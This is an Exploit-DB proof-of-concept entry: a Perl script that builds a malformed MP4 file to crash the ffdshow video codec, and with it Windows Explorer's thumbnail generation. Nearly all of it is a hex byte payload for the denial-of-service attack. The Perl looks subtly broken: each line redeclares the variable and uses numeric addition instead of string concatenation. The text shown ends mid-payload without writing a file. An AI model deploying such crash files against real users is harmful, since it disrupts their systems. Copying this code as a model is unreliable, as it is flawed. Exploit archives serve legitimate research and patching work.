Exploit-DB #14582
Description: ffdshow Video Codec - Denial of Service
Type: dos
Platform: windows
Date: 2010-08-08
Author: Nishant Das Patnaik

Exploit:
#!/usr/bin/perl

##########################################################################################################
# Exploit Title: Malformed MP4 Local DoS for ffdshow Video Codec (tryouts) rev. 3[PII_REDACTED]3 (x86) 	 #
# Date: 08/08/2010										 	 #
# Author: Nishant Das Patnaik [Web: http://nishantdaspatnaik.yolasite.com]				 #
# Software Link: ftp://majorgeeks.mirror.internode.on.net/multimedia/K-Lite_Codec_Pack_620_Mega.exe 	 #
# Version: <= rev 3[PII_REDACTED]3 (Budled with K-Lite Mega Codec Pack 6.2.0)				 #
# Tested on: Windows XP Pro SP3										 #
# Note: The video codec crashes all applications that use it, for rendering MP4 files. It also crashes 	 #
#       Windows Explorer (explorer.exe) if automatic thumbnail generation of MP4 files is turned on  	 #
#       or if you try to view the thumbnails.								 #
##########################################################################################################

my $payload = "\x00\x00\x00\x18\x66\x74\x79\x70\x6D\x70\x34\x32\x00\x00\x00\x01";
my $payload += "\x6D\x70\x34\x32\x6D\x70\x34\x31\x00\x00\x40\x6A\x6D\x6F\x6F\x76";
my $payload += "\x00\x00\x00\x6C\x6D\x76\x68\x64\x00\x00\x00\x00\xC0\xC5\xB8\xE2";
my $payload += "\xC0\xC5\xB8\xE2\x00\x00\x03\xE8\x00\x00\x77\xEC\x00\x01\x00\x00";
my $payload += "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00";
my $payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00";
my $payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00";
my $payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
my $payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x0E\xD5";
my $payload += "\x74\x72\x61\x6B\x00\x00\x00\x5C\x74\x6B\x68\x64\x00\x00\x00\x01";
my $payload += "\xC0\xC5\xB8\xE2\xC0\xC5\xB8\xE2\x00\x00\x00\x01\x00\x00\x00\x00";
my $payload += "\x00\x00\x77\xEC\x00\x00\x00\x00\x00\x00\x00\x00\xC6\x00\x00\x00";
my $payload += "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
my $payload += "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
my $payload += "\x00\x00\x00\x00\x40\x00\x00\x00\x00\xA0\x00\x00\x00\x78\x00\x00";
my $payload += "\x00\x00\x00\x24\x65\x64\x74\x73\x00\x00\x00\x1C\x65\x6C\x73\x74";
my $payload += "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x77\xEC\x00\x00\x00\x00";
my $payload += "\x00\x01\x00\x00\x00\x00\x0E\x4D\x6D\x64\x69\x61\x00\x00\x00\x20";
my $payload += "\x6D\x64\x68\x64\x00\x00\x00\x00\xC0\xC5\xB8\xE2\xC0\xC5\xB8\xE2";
my $payload += "\x00\x00\x03\xE8\x00\x00\x77\xEC\x15\xC7\x00\x00\x00\x00\x00\x3A";
my $payload += "\x68\x64\x6C\x72\x00\x00\x00\x00\x00\x00\x00\x00\x76\x69\x64\x65";
my $payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x70\x70\x6C";
my $payload += "\x65\x20\x56\x69\x64\x65\x6F\x20\x4D\x65\x64\x69\x61\x20\x48\x61";
my $payload += "\x6E\x64\x6C\x65\x72\x00\x00\x00\x0D\xEB\x6D\x69\x6E\x66\x00\x00";
my $payload += "\x00\x14\x76\x6D\x68\x64\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00";
my $payload += "\x00\x00\x00\x00\x00\x24\x64\x69\x6E\x66\x00\x00\x00\x1C\x64\x72";
my $payload += "\x65\x66\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x75\x72";
my $payload += "\x6C\x20\x00\x00\x00\x01\x00\x00\x0D\xAB\x73\x74\x62\x6C\x00\x00";
my $payload += "\x00\xAB\x73\x74\x73\x64\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00";
my $payload += "\x00\x9B\x6D\x70\x34\x76\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00";
my $payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA0";
my $payload += "\x00\x78\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01";
my $payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
my $payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
my $payload += "\x00\x18\xFF\xFF\x00\x00\x00\x45\x65\x73\x64\x73\x00\x00\x00\x00";
my $payload += "\x03\x37\x00\x00\x1F\x04\x2F\x20\x11\x00\x96\x00\x00\x01\x90\x9A";
my $payload += "\x00\x01\x90\x00\x05\x20\x00\x00\x01\xB0\x01\x00\x00\x01\xB5\x0E";
my $payload += "\xE0\x40\xC0\xCF\x00\x00\x01\x00\x00\x00\x01\x20\x00\x84\x40\xFA";
my $payload += "\x28\x28\x20\x78\xA2\x1F\x06\x01\x02\x00\x00\x00\x18\x73\x74\x74";
my $payload += "\x73\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x33\x00\x00\x00";
my $payload += "\x64\x00\x00\x00\x30\x73\x74\x73\x73\x00\x00\x00\x00\x00\x00\x00";
my $payload += "\x08\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x36\x00\x00\x00";
my $payload += "\x68\x00\x00\x00\x9A\x00\x00\x00\xCC\x00\x00\x00\xFE\x00\x00\x01";
my $payload += "\x2D\x00\x00\x05\xD4\x73\x74\x73\x63\x00\x00\x00\x00\x00\x00\x00";
my $payload += "\x7B\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00";
my $payload += "\x02\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00";
my $payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00";
my $payload += "\x01\x00\x00\x00\x05\x00\x3A\x00\x03\x00\x00\x00\x01\x00\x00\x00";
my $payload += "\x06\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x6D\x00\x00\x00";
my $payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x02\x00\x00\x00";
my $payload += "\x01\x00\x00\x00\x09\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00";
my $payload += "\x0A\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x0B\x00\x00\x00";
my $payload += "\x03\x00\x00\x00\x80\x00\x00\x00\x0C\x00\x00\x00\x02\x00\x00\x00";
my $payload += "\x01\x00\x00\x00\x0D\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00";
my $payload += "\x0E\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x0F\x00\x00\x00";
my $payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00";
my $payload += "\x01\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00";
my $payload += "\x12\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00";
my $payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x14\x00\x00\x00\x02\x00\x00\x00";
my $payload += "\x01\x00\x00\x00\x15\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00";